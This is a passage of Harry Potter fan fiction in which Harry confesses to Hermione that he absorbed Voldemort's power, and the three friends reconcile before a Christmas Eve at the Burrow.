textbooks, a half-eaten crumpet, and a stack of folders in various sizes and colors. While Hermione ordinarily never would have stood for such a mess in her kitchen, Exam Week was an exception to the rule. She\'d been up until four that morning, and then slept until seven-thirty before shooting out of bed in a panic and realizing she only had thirty-six hours left to study for her oral dissertation on Genome Transfiguration in Vampiric Bovines. <br>\n\n\n<br>\n So it was not surprising that when a large screech owl arrived with the morning\'s <i>Daily Prophet</i>, Hermione hardly looked up from her parchment. Putting her quill between her teeth, she reached over and untied the paper from the owl\'s leg without looking, gesturing in the direction of the jar of owl treats on the counter. &quot;Take something,&quot; she muttered, shoving the <i>Prophet</i> underneath her copy of <i>Monstrous Mutations in Monsters and Mutants</i>. <br>\n\n\n<br>\n The owl flapped over to the counter and fluttered around for a moment, then beat his great wings once or twice before rising towards the ceiling with something clutched in his claws. <br>\n\n\n<br>\n The owl was halfway out the window before Hermione noticed that instead of taking an owl treat, he\'d picked up one of her books, mistakenly thinking that she was asking him to take a delivery back to the library. She looked up just in time to see that he was clutching her copy of <i>Debunking Diviniation: Why Fate is Just a Fallacy</i> and heading swiftly for the sky. <br>\n\n\n<br>\n &quot;Wait!&quot; she cried, leaping to her feet and knocking her chair backwards onto Crookshanks in the process. Crookshanks gave a spectacular yowl and began rocketing around the kitchen, terrifying the owl, who promptly dropped the book and sped off into the gathering clouds in an attempt to get as far away as possible from the insane penthouse residents at Number 231. <br>\n\n\n<br>\n Bending down to scoop up the startled cat, Hermione examined Crookshanks\' bushy tail for signs of injury, then walked to the window to peer down at the rainy cobblestone street. Luckily, her book was in plain sight. Not-so-luckily, it was wedged in a grating one floor down, soaking up the rain on Harry\'s balcony. &quot;Oh bloody hell,&quot; she muttered, pulling her wand from her dressing gown pocket. &quot;<i>Accio</i> book!&quot; <br>\n\n\n<br>\n The book bucked, wiggled, and gave a final pitiful thrash, but it was no use. It remained firmly stuck between the iron bars of the grate. <br>\n\n\n<br>\n Grumbling, Hermione set Crookshanks down again, pocketed her wand, hurried down the stairs to Harry\'s flat, and knocked once before opening the door. <br>\n\n\n<br>\n What she saw drove all thoughts of books, cats, owls, papers, and exams completely from her mind. <br>\n\n\n<br>\n Harry was perched on the deep window ledge in his sitting room, his shoulders slumped, staring out into the rain. Hedwig was on his shoulder, her snowy head leaning against his black one. Harry barely moved at the noise of the door opening. When he did turn around, Hermione\'s breath caught in her throat. The look in his eyes was unlike anything Hermione had ever seen there before. <br>\n\n\n<br>\n It was a look of utter hopelessness, bleak sorrow, dark and green and desperate. It was as if nothing could ever be right again, as if the flame and spark that was Harry had withered and gone out in a cold wind. It was a look that made Hermione\'s legs go weak. She grasped the doorframe to steady herself. <br>\n\n\n<br>\n &quot;Harry,&quot; she whispered. <br>\n\n\n<br>\n Hedwig gave him a gentle nudge, and he blinked. &quot;Hi,&quot; he said quietly, his voice heavy with the same dead weight visible in his eyes. &quot;What\'s up?&quot; <br>\n\n\n<br>\n Hermione forgot all pretense, forgot everything she\'d been telling herself, forgot to Forget Harry. She crossed the room in a few hurried strides before realizing she\'d also forgotten she was in her dressing gown. <br>\n\n\n<br>\n Harry didn\'t seem to notice. <br>\n\n\n<br>\n &quot;Are you all right?&quot; she said, somewhat breathlessly, coming to stand awkwardly before him, twisting the sash of her flannel gown in her hands. <br>\n\n\n<br>\n &quot;Fine,&quot; Harry said, his voice distant. His eyes met hers then, and Hermione felt again like she might sink right through the floor. &quot;Well, not really, actually,&quot; he continued, in the same detached tone. He looked a bit surprised to be telling her this. &quot;Not fine at all.&quot; <br>\n\n\n<br>\n &quot;Harry?&quot; It was a plea and a question all at once. When Harry looked up again, Hermione was shocked to see his eyes filled with tears. In all the years she\'d known him, she had never seen him cry. <br>\n\n\n<br>\n Before she could breathe again she\'d rushed forward and his arms were around her, and his black messy hair was splayed on her shoulder as Hedwig took off in a rush of silent white wings and landed on the mantle. <br>\n\n\n<br>\n When they finally broke apart Hermione couldn\'t remember if she\'d said anything, or how long they\'d been there, Harry\'s arms wrapped around her as if she would fly apart if he didn\'t hold her together. And when he relaxed his hold, it almost felt as if that was true. <br>\n\n\n<br>\n &quot;Thanks,&quot; he said, his voice weak. &quot;I\'m sorry. I\'m all right.&quot; He stood, a bit stiffly, and sank onto the couch, running a hand through his hair. <br>\n\n\n<br>\n &quot;You\'re not all right,&quot; Hermione said, sitting down cautiously on the other end of the couch. &quot;Harry, what is it?&quot; <br>\n\n\n<br>\n &quot;I was thinking about quitting Quidditch,&quot; Harry said tonelessly. <br>\n\n\n<br>\n &quot;You <i>what</i>?&quot; <br>\n\n\n<br>\n &quot;I was thinking about it,&quot; Harry continued, unable to meet her gaze, &quot;because I can\'t figure out what I\'ve done to drive away my two best friends, and so I thought that might be it.&quot; <br>\n\n\n<br>\n Hermione couldn\'t speak. His words stung like a slap across the face. The sinking feeling she\'d felt earlier was now threatening to pull her straight through the floor. <br>\n\n\n<br>\n &quot;All the girls coming around,&quot; he continued, as if he was thinking aloud rather than speaking to her. &quot;Those stupid girls. And the press, and all the attention. I thought maybe it was too much for you. Maybe you didn\'t want to spend your time being scrutinized and hounded just because you happened to live with me, the sodding Boy Who Lived, and now the bloody Seeker for a Cup team.&quot; <br>\n\n\n<br>\n Hermione had found her voice. &quot;Harry, that\'s not true -- &quot; <br>\n\n\n<br>\n &quot;I know,&quot; Harry said, and when his eyes met hers they were expressionless, vacant. &quot;I know. I said I was thinking about quitting, but I realized it\'s not that at all. It\'s something else. The <i>real</i> reason I haven\'t seen you both in months.&quot; <br>\n\n\n<br>\n Hermione couldn\'t swallow past the lump that had lodged in her throat. Never, in all her hours of musing about Harry and the Rational Way to Do Things, had she considered that he might notice that she was missing from his life, that he might even be hurt because of it. And of all the bad timing&#8230; why Ron was gone as well, she had no idea&#8230; <br>\n\n\n<br>\n &quot;It was that night.&quot; Harry\'s voice was strained, broken. &quot;That night in the club. I know what you both saw.&quot; He took a halting breath. &quot;I wouldn\'t want to be around me either. I\'d be afraid.&quot; <br>\n\n\n<br>\n This was the last thing Hermione had expected him to say; her jaw fell open. &quot;Afraid? Harry, why would we be afraid -- &quot; <br>\n\n\n<br>\n &quot;Because you should be,&quot; Harry whispered. &quot;Four years and I\'ve never been brave enough to tell you. Some hero, right? I\'ve been too bloody afraid of it myself.&quot; <br>\n\n\n<br>\n Hermione\'s mind was blank, her thoughts tangled in shock and confusion. &quot;Honestly, Harry, I haven\'t the faintest idea what you\'re going on about -- &quot; <br>\n\n\n<br>\n &quot;It\'s all right, Hermione. You don\'t have to pretend anymore. I know you figured it out sometime after that night,&quot; Harry said evenly, standing up to pace in front of the window. &quot;It can\'t have been easy, living in the same house with me after that. You put on a good show, though -- and I\'ve always known that you\'re very brave -- &quot; <br>\n\n\n<br>\n &quot;Harry Potter.&quot; Hermione\'s voice was rising. Was this some sort of joke? &quot;Would you mind telling me what in Merlin\'s name you\'re talking about?&quot; <br>\n\n\n<br>\n &quot;Fine, then, you want me to say it? Is that what would make you happy? Confirm your little theory for you?&quot; Harry\'s voice was bitter. He ignored Hedwig\'s agitated flutters as the owl gave a distressed hoot from her perch on the mantlepiece. Hermione, completely unprepared for this flash of anger, felt tears sting the corners of her eyes as Harry rounded on her and that strange green wind seemed to rush through the room and lift the edges of her dressing gown. <br>\n\n\n<br>\n &quot;I\'m Voldemort.&quot; <br>\n\n\n<br>\n ~ ~ ~ ~ ~ ~ <br>\n\n\n<br>\n Hermione Granger was the type of person who liked to pride herself on knowing the proper response to certain situations. She had a rather extensive mental catalogue of appropriate things to say, when to say them, and to whom. But that neat catalogue of responses did not include instructions on what to say when your best friend tells you he\'s the Dark Lord, and looks up at you with his soul burning in his eyes. <br>\n\n\n<br>\n And in that moment Hermione abandoned her catalogue, threw procedure into the flames. There was no ten-step solution, there was no logic. There was only Harry and his burning eyes and the certainty that what he was saying wasn\'t right, it couldn\'t be right, and she was the only one who could make him believe it. <br>\n\n\n<br>\n But this was like a bad dream, one of those dreams tinged strange and green with wind, and Hermione found her voice frozen in her throat, stilled in the maddening silence as her heart beat crazily against her ribs. <br>\n\n\n<br>\n &quot;All right, I\'ll play along,&quot; said Harry mockingly, when Hermione did not respond. &quot;Let\'s pretend you don\'t know any of this, just so you can hear everything from me, since you seem so determined to make me relive it.&quot; He turned to lean against the mantle; when he finally spoke again, it was with great effort, as if every word was heavy with water, with the rain that streaked the windows outside. <br>\n\n\n<br>\n &quot;When I defeated him, I was alone&#8230; with him. You remember.&quot; <br>\n\n\n<br>\n Harry had never spoken about this; Ron and Hermione had never asked. It had seemed like enough just to have Harry back at the time, just to have him safe and not ask any questions, to pretend as if nothing was different. And now those years of respectful silence stretched out painfully in Hermione\'s mind. They had not been doing Harry a favor with their polite patience, as they had imagined. <br>\n\n\n<br>\n They had been hiding from him. <br>\n\n\n<br>\n Four years. Four years, and she hadn\'t asked about the Defeat, because she\'d been too afraid, because it had been the easy thing to do, because something had compelled her to keep her distance. Now she felt sick, almost physically ill from the realization of how long they\'d let Harry keep his silence. <br>\n\n\n<br>\n &quot;Our wands. They shared a core. They couldn\'t work against each other&#8230; and he had just killed&#8230;&quot; Harry\'s voice wavered, and the next words came out in a rush. &quot;He had just killed Professor Dumbledore.&quot; <br>\n\n\n<br>\n Tears slipped down Hermione\'s cheeks. Harry didn\'t look at her; he sat down again on the couch, staring aimlessly out the window. <br>\n\n\n<br>\n &quot;I knew&#8230; I knew there was only one way to kill him. I knew he could never truly die.&quot; Harry\'s voice was measured, emotionless, as if he was describing a trip to the laundromat. &quot;I cast the Killing Curse on him. It didn\'t kill him&#8230; it couldn\'t&#8230; but I somehow knew, I knew what would happen if I did. I can\'t explain it.&quot; <br>\n\n\n<br>\n Hermione didn\'t know which was more terrifying; the words that were tumbling from Harry, or the quiet that screamed in her ears when he fell silent. <br>\n\n\n<br>\n &quot;When I cast <i>Avada Kedavra</i>&#8230;&quot; Harry said tonelessly, &quot;when I cast it, Voldemort\'s body died. His wand snapped in half. Everyone saw that, afterwards. And I knew -- I knew he could never come back again. I let everyone believe that he was gone.&quot; <br>\n\n\n<br>\n &quot;But he is, isn\'t he?&quot; Hermione spoke thickly through tears. <br>\n\n\n<br>\n &quot;No.&quot; Harry put his head between his knees. <br>\n\n\n<br>\n &quot;Harry.&quot; <br>\n\n\n<br>\n &quot;His power,&quot; Harry said, his voice a strained whisper. &quot;All of it. Everything. It went into <i>me</i>.&quot; <br>\n\n\n<br>\n It couldn\'t be true. Every bit of Hermione was fighting against it, refusing to believe. Harry -- <i>her</i> Harry -- she knew him, she would have known if something wasn\'t right, if this had happened -- she was in <i>love</i> with him, for Merlin\'s sake -- <br>\n\n\n<br>\n In love with him. She really was. <br>\n\n\n<br>\n And just as surely as she knew that, as much as she knew it deep in the intuitive wells of her heart, she knew that he was speaking the truth. Now it seemed as if she\'d always known what had happened at the Defeat. It all made sense -- everything that hadn\'t been right, exactly, when it was over. The months he\'d gone away, the things she could never say to him, the way the three of them had been scattered to the wind before finding each other again in the aftermath. <br>\n\n\n<br>\n And the green wind. The dreams. <br>\n\n\n<br>\n Harry \'s head was still in his hands, and his voice was muffled. &quot;I don\'t know why I\'m telling you this,&quot; he said. &quot;You must have figured it out by now. After that night. You saw what happened.&quot; His voice caught in his throat. &quot;I almost -- I couldn\'t fight it. His power -- it was too much -- &quot; <br>\n\n\n<br>\n &quot;Harry -- &quot; Hermione had found her voice. &quot;Harry, how could I <i>possibly</i> have thought -- I mean -- &quot; She twisted the sash of her robe helplessly. &quot;I mean, even if you <i>are</i>&#8230; V-Voldemort&#8230; you\'ve never seemed -- you\'ve never -- &quot; She was flailing now, unable to find the words. &quot;You play <i>Quidditch</i>,&quot; she finished lamely. <br>\n\n\n<br>\n But Harry seemed to understand what she was saying. &quot;I know,&quot; he said quietly. &quot;For a while, after it happened, I didn\'t want to see anyone. I was afraid of what might happen, of what I might do to the people I love. I kept having odd feelings, seeing strange images&#8230; feeling these surges, like this great power was inside me&#8230; I can\'t explain it. And I -- &quot; He looked up, guilt creasing his forehead. &quot; I saw how people were reacting, thinking he was dead&#8230; that he was finally gone&#8230; and I couldn\'t do it. I couldn\'t let them down, I couldn\'t tell them that his power was still here, waiting, <i>trying</i> to do something -- &quot; <br>\n\n\n<br>\n &quot;But it hasn\'t.&quot; <br>\n\n\n<br>\n &quot;No. No, not yet.&quot; Harry\'s shoulders were hunched with tension. &quot;I found out that as long as I keep my mind busy -- by doing sports, or something, anything -- I can get by, I can pretend it\'s not there. Quidditch has been the only thing that\'s made me feel almost normal again.&quot; He glanced up at her. &quot;Well, that and&#8230;&quot; His voice trailed off. &quot;But you\'ve deduced this, I\'m sure. Some of it, anyway. What else could have happened, that night in the club? That was <i>dark magic</i>, Hermione.&quot; <br>\n\n\n<br>\n Hermione found she could say nothing. She felt that her jaw might be half-open, but she wasn\'t quite sure. <br>\n\n\n<br>\n &quot;You don\'t have to say anything,&quot; Harry said, staring out at the rain. &quot;I know you figured it out, or at least part of it. I know that\'s why you and Ron haven\'t been coming around. I\'d have done the same if I were you.&quot; <br>\n\n\n<br>\n This sentence was spoken with the finality of a death knell, with a sound in his voice like heavy doors slamming. It brought Hermione back to her senses. That\'s it, she thought. He\'s shutting us out. He\'s gone forever, and I never knew, and it\'s all my fault -- <br>\n\n\n<br>\n &quot;No,&quot; Hermione said. &quot;No, Harry.&quot; <br>\n\n\n<br>\n &quot;Then why?&quot; Harry had shot to his feet again, pacing. &quot;Why have my two best friends been acting like they\'ve been replaced by bloody cardboard cutouts?&quot; He glared at her. &quot;I\'m not sure I want to know, actually, since you certainly won\'t stick around now I\'ve told you about this -- &quot; <br>\n\n\n<br>\n &quot;HARRY!&quot; Hermione could hardly see through her own tears. &quot;I\'m sorry, I really am, I can\'t explain it, I can\'t explain -- it\'s not -- &quot; The words <i>it has nothing to do with you</i> caught in her throat and lodged there. &quot;It\'s not because I\'m afraid of you,&quot; she amended. She couldn\'t tell him right now, couldn\'t dump her feelings on his lap in the middle of all this -- &quot;And I don\'t know why Ron\'s been gone. I couldn\'t tell you. I haven\'t seen him in ages. Harry, believe me, it\'s not like you think.&quot; <br>\n\n\n<br>\n &quot;It\'s not, is it?&quot; Harry was staring out the window. &quot;But you can\'t have forgotten that night.&quot; <br>\n\n\n<br>\n &quot;I haven\'t forgotten it, no. I\'ve even -- &quot; It was difficult to keep speaking. &quot;I\'ve even dreamed about it,&quot; she finished. Her breath hitched in her throat. &quot;And Harry, I\'m so sorry. I\'m so sorry I haven\'t been there for you. This is all my fault.&quot; <br>\n\n\n<br>\n Hermione was dimly aware that the room had grown dark, that Harry was glowing once more, the edges of his form outlined in weird green light, his eyes lit from within like candles. <br>\n\n\n<br>\n &quot;Are you sure?&quot; he asked, and his voice was high and cold and distant. &quot;Are you sure you\'re not afraid?&quot; <br>\n\n\n<br>\n Hermione realized that she was trembling. She forced herself to look up and meet Harry\'s gaze, terrified of what she might see there. <br>\n\n\n<br>\n And Hermione saw in those eyes someone who was just as scared as she was. She saw, amidst the darkness and the rush of green wind, Harry. Her Harry. <br>\n\n\n<br>\n &quot;I could never be afraid of you,&quot; she said quietly. <br>\n\n\n<br>\n He found her then, gathered her into his arms and cradled her as she cried, as he\'d done so many times before, except this time he might have been crying too. &quot;I\'m sorry,&quot; someone said, and it might have been Hermione, but maybe it was Harry; it was impossible to tell, because all Hermione could see or think about was Harry\'s arms around her and how she was never going to shut him out of her life again. <br>\n\n\n<br>\n They broke apart and Harry\'s hand was smoothing her hair roughly and she looked up at him, and he was staring at her in wonderment. <br>\n\n\n<br>\n &quot;I just told you I\'m the most powerful Dark Wizard in existence,&quot; he said, &quot;and you&#8230; apologized to <i>me</i>.&quot; <br>\n\n\n<br>\n Hermione managed a weak laugh through her tears. &quot;You shouldn\'t have had to keep something like that to yourself for so long,&quot; she said shakily. &quot;We can get through this. Whatever\'s happened to you, you\'re still Harry.&quot; <br>\n\n\n<br>\n &quot;You\'re sure.&quot; This was almost a question. <br>\n\n\n<br>\n &quot;Of course I\'m sure. Harry -- you may have absorbed Voldemort\'s power, but you\'ve always been stronger than he has. You\'re still <i>you</i>. I can tell.&quot; A strange calm had engulfed Hermione; this time, she wasn\'t hiding behind logic, and she wasn\'t using it as a way to bury her feelings. She was using it to explain them. &quot;I\'ve always thought you were meant to go up against Voldemort your whole life, and you were meant to do it because you\'re the only one who could. Harry, you\'re the only one who has ever been strong enough. If his power couldn\'t be destroyed, it had to be contained&#8230; and maybe the only way to contain it is within <i>you</i>.&quot; She swallowed. &quot;Maybe this was meant to happen.&quot; <br>\n\n\n<br>\n Harry was quiet as he absorbed this information, his green eyes round. <br>\n\n\n<br>\n &quot;I thought you didn\'t believe in fate,&quot; he said finally. <br>\n\n\n<br>\n &quot;I don\'t,&quot; she said. &quot;I believe in you.&quot; <br>\n\n\n<br>\n ~ ~ ~ ~ ~ <br>\n\n\n<br>\n Time, after that, meant something different. It was as if they had started over again, new students on the train, chasing after toads and eating Every Flavor Beans, with the weight of years no longer upon them. They huddled in Harry\'s apartment, cocooned in front of his Muggle television set (he\'d always wanted his own), watching horrible American sitcoms and ordering Chinese food via Floo network. Hermione\'s books found their way down to Harry\'s, and his kitchen table was quickly buried under piles of parchment and quills. Sometimes Hermione went upstairs to see Crookshanks, and they cooked dinner in her sunny kitchen, and Harry\'s jumpers and shoes found their way under Hermione\'s sofa. <br>\n\n\n<br>\n Which, he discovered, was a fairly comfortable sofa. Sometimes, after Hermione went to bed, he didn\'t quite feel like going back downstairs. <br>\n\n\n<br>\n He went to see Ron. &quot;You\'ve got to tell him,&quot; she said, in that tone of hers that made it impossible to believe she was ever wrong. And after everything she\'d said to him, he almost believed she never was. <br>\n\n\n<br>\n Ron had been silent while Harry told him, in stops and starts, and between shaky sips of butterbeer, what had happened on the night of the Defeat. He simply stared at Harry, his expression an unreadable wash of fear and awe and panic. <br>\n\n\n<br>\n &quot;Bloody hell,&quot; he had said when Harry finally finished, and Harry looked up at him and cursed himself a thousand times over for ever being afraid to tell Ron anything. &quot;What did Hermione say?&quot; <br>\n\n\n<br>\n &quot;She thinks I\'m still me. She thinks&#8230;&quot; Harry stared at his butterbeer, swirled it in the bottle, thought of her confidence, her unwavering belief in him, and found it hard to speak. &quot;She thinks it was meant to happen.&quot; <br>\n\n\n<br>\n Ron nodded, leaned forward in his seat, fixed Harry with an uncharacteristically serious gaze. &quot;I reckon she\'s right,&quot; he said quietly. &quot;But that\'s Hermione for you.&quot; <br>\n\n\n<br>\n &quot;Yeah. Yeah, it is.&quot; <br>\n\n\n<br>\n They\'d talked for hours, then. As if they hadn\'t spoken in years, which, Harry thought later, they really hadn\'t. <br>\n\n\n<br>\n &quot;I\'ve got something to tell you as well,&quot; Ron had said, in some early hour after midnight, empty bottles of butterbeer lined up on the coffee table in front of them. <br>\n\n\n<br>\n &quot;The reason you\'ve been -- &quot; <br>\n\n\n<br>\n &quot;Gone. Yeah.&quot; <br>\n\n\n<br>\n &quot;What is it, mate?&quot; <br>\n\n\n<br>\n &quot;Look, promise you won\'t&#8230; get worked up.&quot; <br>\n\n\n<br>\n Harry managed a chuckle. &quot;I\'d throw myself out the window before cursing you, you git.&quot; <br>\n\n\n<br>\n &quot;That\'s not what I meant!&quot; <br>\n\n\n<br>\n &quot;Sorry.&quot; Another chuckle. &quot;Harry, I couldn\'t tell you -- I couldn\'t tell either of you -- &quot; Ron sat up, his face peaked and uncertain beneath a road map of freckles. &quot;There\'s&#8230; this girl.&quot; His voice was strained. &quot;You can\'t tell anyone.&quot; <br>\n\n\n<br>\n &quot;Why on earth not?&quot; <br>\n\n\n<br>\n &quot;Harry, I don\'t know, I just -- &quot; <br>\n\n\n<br>\n &quot;Ron.&quot; The words were out before Harry could stop them. &quot;I\'ve&#8230; there\'s someone&#8230; I should tell you something also.&quot; <br>\n\n\n<br>\n &quot;Well then.&quot; Ron unfolded his lanky form from the sofa with a pained grin. &quot;I\'ll get the Ogden\'s.&quot; <br>\n\n\n<br>\n ~ ~ ~ ~ ~ <br>\n\n\n<br>\n &quot;You\'ve got to tell them, Ron. They\'ll be okay with it. Really.&quot; <br>\n\n\n<br>\n &quot;I know&#8230; I know. I\'ll do it. Over the holiday.&quot; A long pause; Ron took a sip of whiskey. &quot;Harry, are you sure you don\'t want to tell her?&quot; <br>\n\n\n<br>\n &quot;Very. I don\'t want to ruin anything.&quot; <br>\n\n\n<br>\n &quot;Right then. You have my word, mate.&quot; He sighed. &quot;I just wish you\'d change your mind.&quot; <br>\n\n\n<br>\n ~ ~ ~ ~ ~ <br>\n\n\n<br>\n It was Christmas Eve, and the Burrow was a boiling mishmash of bubbling pots and baked puddings, warm bodies and twinkling lights, and for once, everything was just about perfect. <br>\n\n\n<br>\n All the Weasleys were crammed into the nooks and corners of the house, red hair and freckles in every hallway and bedroom and armchair. Ron and Harry were camped upstairs in Ron\'s bedroom with Fred and George; Bill and his fiancee Julia were down the hall from Charlie; and Percy, Penelope, and little Perce were in Percy\'s old room, while Hermione and Ginny were together as usual in Ginny\'s room. Years ago, Hermione had stopped feeling pangs of guilt for feeling more at home with the Weasleys than her own parents, who always preferred to vacation together on a sunny island beach for the holidays, happy to let Hermione celebrate at the Burrow. <br>\n\n\n<br>\n This year felt much more like home, however, than any of her previous Christmases at the Burrow. Hermione wasn\'t sure if it was because she, Harry, and Ron were now living together in their own home, of sorts; whether it was that the sheer number of smiling Weasleys seemed to increase by the year; or whether a sort of fog had lifted between herself and Harry and Ron. She suspected it was the latter. <br>\n\n\n<br>\n She couldn\'t put a finger on exactly what was different. Watching Harry from across the sitting room, as Ron beat the pants off of him in chess for the second time in an hour, his smile seemed easier, his laugh warmer and deeper. She suspected that the weight of bearing a dark secret had taken its toll on him in a thousand intangible ways. The last time she\'d seen him like this -- the only times she\'d ever seen him like this, really -- he\'d been on a broom, the one thing that seemed to free him from the mantle of being Harry. <br>\n\n\n<br>\n There was another time she\'d seen him like this. It didn\'t seem significant, really, but -- that day in her kitchen. They\'d made soup. <br>\n\n\n<br>\n A moment between friends, Hermione thought quickly. He\'s my best friend, after all. And as difficult as it might be -- as much as it would hurt to watch him date other women, even fall in love -- she would do it, and she would be there for him. And he would be there for her. <br>\n\n\n<br>\n Though she had to admit it was hard to stop looking at him sometimes. Currently he was wearing one of his many Weasley sweaters, dark green wool with a mottled &quot;H&quot; on the front, soft and worn, snug across his broad shoulders. His hair was a classic Harry mop, one shiny black lock sticking straight up in triumph right above his jagged scar, the rest of it at odds with itself, askew and happy and wild. From time to time little Percy would run by -- the child was in perpetual motion -- and fling his arms around Harry\'s neck with sheer abandon, and Harry would flush and grin and toss him to Ron or Charlie, or turn him upside-down while the three-year-old squealed with laughter. <br>\n\n\n<br>\n Ron gave a triumphant guffaw, and Harry\'s eyes caught hers as Ron\'s bishop swung a heavy sword at Harry\'s unsuspecting queen, cleaving the stone figure in two. Harry grinned, one of those Harry smiles that made Hermione\'s chest hurt and her knees feel funny, and she tried not to blush too badly as she smiled back. <br>\n\n\n<br>\n Harry pushed his chair back and stood, chuckling. &quot;I think that\'ll do it for me. Who\'s next?&quot; His eyes lit on Ginny, who had just come into the room with a steaming mug of cocoa, fashionable as ever in a red sweater with a fluffy white fur collar. He gestured at his chair. &quot;Ginny?&quot; <br>\n\n\n<br>\n &quot;Prepare to meet your doom, young Weasley,&quot; crowed Ron as Ginny slid into Harry\'s vacated seat, raised her eyebrows, and began picking up Harry\'s decapitated chess pieces. <br>\n\n\n<br>\n &quot;Hey. Fancy a Christmas cookie?&quot; Harry had come to stand beside Hermione in the sitting room doorway, and he inclined his head towards the kitchen, where a tray of Molly Weasley\'s holiday baking was sitting conspicuously on the counter. &quot;I won\'t tell anyone.&quot; <br>\n\n\n<br>\n &quot;All right then.&quot; As they walked into the kitchen she felt a tiny thrill as Harry\'s hand came to rest comfortably on the small of her back for a few fleeting seconds. Harry had never been the touchy-feely sort; Ron, on the other hand, had always been freer with hugs and brotherly kisses. But now Harry seemed to be relaxing, reaching out to bridge the space between them in dozens of little ways. <br>\n\n\n<br>\n The Burrow kitchen was still cozy with the smell of supper; piles of dishes were stacked in the sink next to a pot of leftover oyster stew. Harry made a beeline for the cookie tray. &quot;Candy cane or Christmas tree?&quot; <br>\n\n\n<br>\n Hermione pretended to give this question serious consideration. &quot;Candy cane, please.&quot; <br>\n\n\n<br>\n &quot;Okay.&quot; Harry glanced at her shyly, lowering his voice. &quot;Watch this,&quot; he said, opening his hands to show her that his wand was in his pocket. &quot;<i>Accio</i> cookie,&quot; he whispered, and Hermione\'s candy cane flew purposefully into Harry\'s open palm. Hermione smiled. She knew that Harry was a far more powerful wizard than he would ever let on, even without the added powers of a certain Dark Lord, but he only seemed comfortable revealing the depths of his skill to her in private, in little displays like this. &quot;Showoff,&quot; she said, rolling her eyes. <br>\n\n\n<br>\n &quot;It\'s not so hard. I can teach you to do it, I think.&quot; Harry hoisted himself up onto the kitchen counter and took a tree-shaped cookie twinkling with Sparkle Sprinkles. &quot;I\'ve always wondered whether these keep lighting up once you eat them.&quot; <br>\n\n\n<br>\n &quot;I don\'t think so. They\'re enchanted to stop sparkling once they\'re wet; it\'s a property of Fidoza root extract, which is what they\'re made with. At least that\'s what I\'ve heard, but you\'d best ask Fred and George, they ought to know, since they use it in some of their joke shop products -- &quot; <br>\n\n\n<br>\n She was interrupted by Harry\'s soft laughter. &quot;Hermione?&quot; <br>\n\n\n<br>\n &quot;Yes?&quot; <br>\n\n\n<br>\n &quot;Just&#8230; don\'t ever change, all right?&quot; <br>\n\n\n<br>\n Hermione felt her ears go pink; she tried to hide her smile, but it was futile. &quot;Are you teasing me?&quot; <br>\n\n\n<br>\n Harry bit into the cookie and grinned. &quot;Just a little bit.&quot; <br>\n\n\n<br>\n &quot;Oh, hush.&quot; <br>\n\n\n<br>\n Harry patted the counter beside him. &quot;Have a seat?&quot; <br>\n\n\n<br>\n &quot;Oh no, I don\'t think -- I mean, Molly probably won\'t like -- &quot; <br>\n\n\n<br>\n &quot;She won\'t mind. Besides, we\'ll take care of the dishes.&quot; Harry was fishing for his wand now, in a shirt pocket under his sweater. With a quick gesture the pile of dishes in the sink was washing itself, and Harry patted the counter again. <br>\n\n\n<br>\n For a moment it seemed to Hermione that there was something in the air, something more than the cinnamon smell of cookies and crackling fire, something that sparked like the sprinkles on Molly Weasley\'s Christmas baking. &quot;Happier breaking rules, as always,&quot; she muttered, sliding up onto the counter and suddenly feeling almost dizzy with the closeness of Harry, his black hair falling against his round glasses, pale wrists emerging from the too-short sleeves of his worn Weasley sweater. He nudged her shoulder with his own as she settled next to him. &quot;I wanted to thank you,&quot; he said quietly. <br>\n\n\n<br>\n &quot;What on earth for? I haven\'t given you your present yet.&quot; She was quite nervous about it this year; she\'d decided against the usual standby of chocolate frogs and Quidditch literature, instead settling on a selection of Muggle music they\'d listened to in her apartment one sunny afternoon. <br>\n\n\n<br>\n &quot;For&#8230; you know. For helping me through this.&quot; He slid a hand over hers on the counter between them. &quot;It gets better every day. I mean&#8230;&quot; A pause, the sound of dishes clinking in the sink. &quot;I think I can do this. You\'re right.&quot; His eyes flicked to hers. &quot;As always.&quot; <br>\n\n\n<br>\n Hermione\'s heart was pounding so loudly that she could hardly hear her own thoughts. Harry\'s thumb was moving in a tentative circle on the back of her hand. It felt like fire and butterflies. Did he know what he was doing to her? Could he tell? &quot;I, er&#8230; &quot; Harry said, and did she remember how to speak English? because she wasn\'t sure anymore, she wasn\'t sure of anything at all -- <br>\n\n\n<br>\n &quot;Oi, Harry! Ginny Weasley has been vanquished! Is Hermione in here -- &quot; <br>\n\n\n<br>\n Hermione sat up with a jolt as Ron burst into the kitchen. His eyes widened at the sight of them sitting on the counter, and Hermione\'s breath caught in her throat. He can\'t know how I feel, he can\'t have figured it out -- &quot;Don\'t let Mum catch you up there,&quot; he said finally, grinning, then narrowed his eyes in an uncanny impersonation of Mrs.Weasley. &quot;If I\'ve told you once, Ronald, I\'ve told you a thousand times, keep your bum off my clean counters!&quot; <br>\n\n\n<br>\n &quot;We\'re washing the dishes. I thought she wouldn\'t mind,&quot; Harry said, sliding off of the counter and offering a hand to Hermione to do the same. <br>\n\n\n<br>\n &quot;Oh, nice one. I was just looking for \'Mione,&quot; Ron said, glancing at her with an oddly thoughtful look in his eyes. &quot;Can I borrow her for a bit?&quot; <br>\n\n\n<br>\n Hermione had been expecting this; Harry had told her he\'d been talking with Ron, that Ron had something to tell her. She hadn\'t been expecting it at this precise moment, however. Her mind had been&#8230; elsewhere. She wondered if Ron could tell that her knees were practically knocking together with nerves. Thankfully, he was Ron, and these small details tended to escape him at times. <br>\n\n\n<br>\n &quot;Honestly!&quot; Hermione found her voice again. &quot;I\'m not a library book.&quot; <br>\n\n\n<br>\n &quot;News to me,&quot; Ron said. &quot;Come sit outside for a minute, then?&quot; <br>\n\n\n<br>\n &quot;All right, take her, see if I care,&quot; Harry said with a laugh, and disappeared into the sitting room as Ron draped a cloak around her shoulders and opened the back door. <br>\n\n\n<br>\n They walked out onto the back porch, Hermione\'s insides tightly coiled as she watched their breath hover before them in puffs of steam. Her brain was trying rather unsuccessfully to switch gears. <br>\n\n\n<br>\n &quot;I\'ve been talking to Harry,&quot; Ron said, staring off into the back field, where a group of garden gnomes was celebrating the holiday around a rosebush lit with tiny candles. <br>\n\n\n<br>\n &quot;He mentioned that,&quot; Hermione said, suddenly feeling the strangeness of the past four years, how odd it was to be talking with Ron this way about Harry. They\'d always talked about Harry constantly, before; he was their constant project, their shared worry. Now it seemed like ages since they\'d mentioned him to each other. &quot;He told you&#8230; what happened to him.&quot; <br>\n\n\n<br>\n &quot;Yeah.&quot; <br>\n\n\n<br>\n They gazed at the gnomes\' holiday rosebush for a while until Ron\'s fist came slamming down onto the porch banister unexpectedly. &quot;We should have known,&quot; he said vehemently. &quot;We should 